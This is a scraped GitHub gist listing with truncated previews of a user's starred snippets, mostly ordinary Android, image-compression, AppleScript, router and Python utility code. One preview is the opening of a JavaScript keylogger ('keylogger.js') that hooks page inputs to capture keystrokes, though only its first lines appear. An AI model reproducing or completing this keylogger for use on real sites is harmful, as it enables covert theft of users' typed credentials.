Skip to content

Instantly share code, notes, and snippets.

View JeppeLeth's full-sized avatar

Jeppe Leth JeppeLeth

View GitHub Profile
@yanngx
yanngx / FragmentArgumentDelegate.kt
Last active January 19, 2023 09:26
Fragment arguments without hassle !
package be.brol
import android.os.Binder
import android.os.Bundle
import android.support.v4.app.BundleCompat
import android.support.v4.app.Fragment
/**
* Eases the Fragment.newInstance ceremony by marking the fragment's args with this delegate
* Just write the property in newInstance and read it like any other property after the fragment has been created
cwebp -pass 10 -mt -alpha_filter best -alpha_cleanup -m 6 -lossless
What do all these arguments do?
-pass 10 Determines the number of passes that will be performed on the image, maximum 10. More = longer processing time, but potentially smaller images. Yum.
-mt Use multi-threading
-alpha_filter best "predictive filtering for alpha plane", tries to optimize the alpha channel. Options are none, fast, and best.
-m 6 Determines compression method. 0=fast, 6=slowest
-lossless Makes this WebP lossless. Image produced will be 100% identical once decompressed.
package com.electricobjects.client.onboarding;
import android.app.Dialog;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.content.ContextCompat;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@arleym
arleym / layouts.alfredworkflow
Created February 28, 2016 13:37
Alfred Layout Alpha
on alfred_script(q)
tell application "Google Chrome" to activate -- needs to be in front
tell application "System Events" to tell application process "Chrome"
try
repeat with x from 1 to (count windows)
get properties of window x
set position of window x to {0, 21}
set size of window x to {1280, 709}
end repeat
end try
@06b
06b / keylogger.js
Last active November 15, 2015 14:05 — forked from scarvell/keylogger.js
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
@stevejenkins
stevejenkins / e4200-startup.sh
Last active March 29, 2018 10:03
Linksys E4200 v1 DD-WRT Startup Script
## Steve Jenkins' E4200 v1 Speed Optimizations
## Can be used on any Broadcom-based DD-WRT device
## PLEASE READ: http://wp.me/p1iGgP-DW
## Have fun, but use and tweak at your own risk :)
## Updated Feb 4, 2016
## INITIAL SLEEP COMMAND
## First command in script is ignored in some builds, so this is a throw-away
sleep 10
@seanKenkeremath
seanKenkeremath / Android Lollipop Widget Tinting Guide
Last active November 17, 2023 12:40
How base colors in Lollipop apply to different UI elements
Unless specified otherwise, all of the below tinting applies to both Lollipop and pre-Lollipop using AppCompat v21. To use the support version of these attributes, remove the android namespace. For instance, "android:colorControlNormal" becomes "colorControlNormal". These attributes will be propagated to their corresponding attributes within the android namespace for devices running Lollipop. Any exceptions to this will be noted by including the "android:" prefix.
All Clickable Views:
-----------
* ripple effect (Lollipop only) -- "colorControlHighlight"
Status Bar:
------------
* background (Lollipop only) - "colorPrimaryDark"
import java.lang.ref.WeakReference;
import android.text.SpannableStringBuilder;
import android.text.Spanned;
import android.text.TextUtils;
import android.widget.TextView;
public final class JumpingBeans {
/**
* The default fraction of the whole animation time spent actually animating.
#! /usr/bin/python
import argparse
import os.path
import glob
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description='''\
Replacing values in arrays.xml with @string/ links. Generates three new files for each locale:
@chrisbanes
chrisbanes / FloatLabelLayout.java
Last active March 15, 2024 06:39
FloatLabelLayout
/*
* Copyright 2014 Chris Banes
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software